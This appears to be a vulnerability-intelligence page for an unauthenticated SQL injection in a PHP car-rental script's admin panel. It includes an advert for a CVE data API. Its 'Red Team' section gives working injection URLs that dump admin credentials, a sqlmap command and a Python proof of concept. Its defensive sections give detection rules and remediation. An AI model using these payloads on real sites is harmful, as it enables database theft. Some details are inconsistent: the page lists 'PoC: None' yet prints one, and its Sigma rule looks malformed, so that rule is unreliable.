☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25488

CVE-2019-25488 SQL Injection in Jettweb
📅 PUBLISHED: 2026-03-12 15:36 UTC 🔄 UPDATED: 2026-09-23 20:12 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25488 is a critical unauthenticated SQL injection vulnerability in Jettweb Hazir Rent A Car Scripti V4. The flaw resides in the admin panel, specifically within the tur, id, and ozellikdil GET parameters of admin/index.php. An attacker can inject arbitrary SQL commands without authentication, leading to full database compromise, data exfiltration, or denial of service. No patch has been released by the vendor, and the vulnerability remains unaddressed. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): High (H) – Full database read access.
  • Integrity (I): High (H) – Data can be modified or deleted.
  • Availability (A): High (H) – Denial of service possible.

Threat Level: Critical. Unauthenticated remote exploitation with high impact on all security pillars.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the admin panel of a PHP-based car rental script. The application fails to sanitize user-supplied input in the tur, id, and ozellikdil GET parameters before constructing SQL queries. Because the admin panel is accessible without authentication, any remote attacker can send crafted HTTP requests to manipulate database queries.

Vulnerable Code Pattern (Conceptual):

$id = $_GET['id'];
$query = "SELECT * FROM cars WHERE id = $id";
$result = mysqli_query($conn, $query);

Attack Vector:

  • Endpoint: http://target.com/admin/index.php
  • Parameters: tur, id, ozellikdil
  • Method: GET

Example Injection:

http://target.com/admin/index.php?id=1 UNION SELECT username,password FROM admin_users

This would return admin credentials in the application response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$tur = $_GET['tur'];
$query = "SELECT * FROM cars WHERE tur = '$tur'";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

$tur = mysqli_real_escape_string($conn, $_GET['tur']);
$query = "SELECT * FROM cars WHERE tur = '$tur'";
$result = mysqli_query($conn, $query);

Explanation: The patched version uses mysqli_real_escape_string() to escape special characters, preventing SQL injection. Alternatively, prepared statements should be used for all database queries.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running Jettweb Hazir Rent A Car Scripti V4
  • Network access to the admin panel

Exploitation Steps:

  1. Identify vulnerable parameters:

    http://target.com/admin/index.php?tur=test' OR '1'='1
    
  2. Extract database version:

    http://target.com/admin/index.php?id=1 UNION SELECT @@version,2,3
    
  3. Dump admin credentials:

    http://target.com/admin/index.php?id=1 UNION SELECT username,password,email FROM admin_users
    
  4. Automated exploitation with sqlmap:

    sqlmap -u "http://target.com/admin/index.php?id=1" --batch --dbs
    

Proof-of-Concept (Python):

import requests

target = "http://target.com/admin/index.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20"
params = {"id": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection Steps:

  1. Monitor HTTP GET requests to /admin/index.php with suspicious parameters.
  2. Look for SQL keywords (UNION, SELECT, OR, AND) in query strings.
  3. Alert on repeated requests with varying injection patterns.

Honeypot Setup:

  • Deploy a decoy admin panel that logs all requests.
  • Use WAF rules to block common SQL injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests to /admin/index.php with parameters containing SQL keywords.
  • Requests with id, tur, or ozellikdil parameters containing single quotes (') or double dashes (--).
  • Unusual response sizes or database error messages in HTTP responses.

File IOCs:

  • Log entries in web server logs showing SQL injection attempts.
  • Modified database entries (e.g., new admin users).

Example Log Entry:

192.168.1.100 - - [10/Oct/2023:13:55:36 +0000] "GET /admin/index.php?id=1 UNION SELECT 1,2,3 HTTP/1.1" 200 532 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2019_25488_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25488"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25488"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "tur=" nocase
        $sqli3 = "ozellikdil=" nocase
        $sqli4 = "UNION" nocase
        $sqli5 = "SELECT" nocase
        $sqli6 = "' OR " nocase
        $sqli7 = "' AND " nocase
    condition:
        any of ($sqli1, $sqli2, $sqli3) and any of ($sqli4, $sqli5, $sqli6, $sqli7)
}

Sigma Rule

title: SQL Injection Attempt Against Jettweb Hazir Rent A Car Admin Panel
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2019-25488
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/admin/index.php'
        cs-uri-query|contains|all:
            - 'id='
            - 'UNION'
        cs-uri-query|contains|all:
            - 'tur='
            - 'SELECT'
        cs-uri-query|contains|all:
            - 'ozellikdil='
            - "' OR "
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2019-25488 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/index.php"; http_uri; content:"id="; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application from the internet if possible.
  2. Apply virtual patching using a WAF (e.g., ModSecurity) to block SQL injection patterns.
  3. Disable the admin panel or restrict access via IP whitelisting.

Long-term Fix:

  • Since no official patch exists, the application must be rewritten or replaced.
  • Use parameterized queries (prepared statements) in all database interactions.
  • Implement input validation and output encoding.
  • Conduct a full security audit of the codebase.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/admin/index\.php" "chain,id:1001,deny,msg:'SQL Injection Attempt'"
SecRule ARGS "(\bUNION\b|\bSELECT\b|' OR |' AND )" "t:urlDecodeUni"

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25488/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.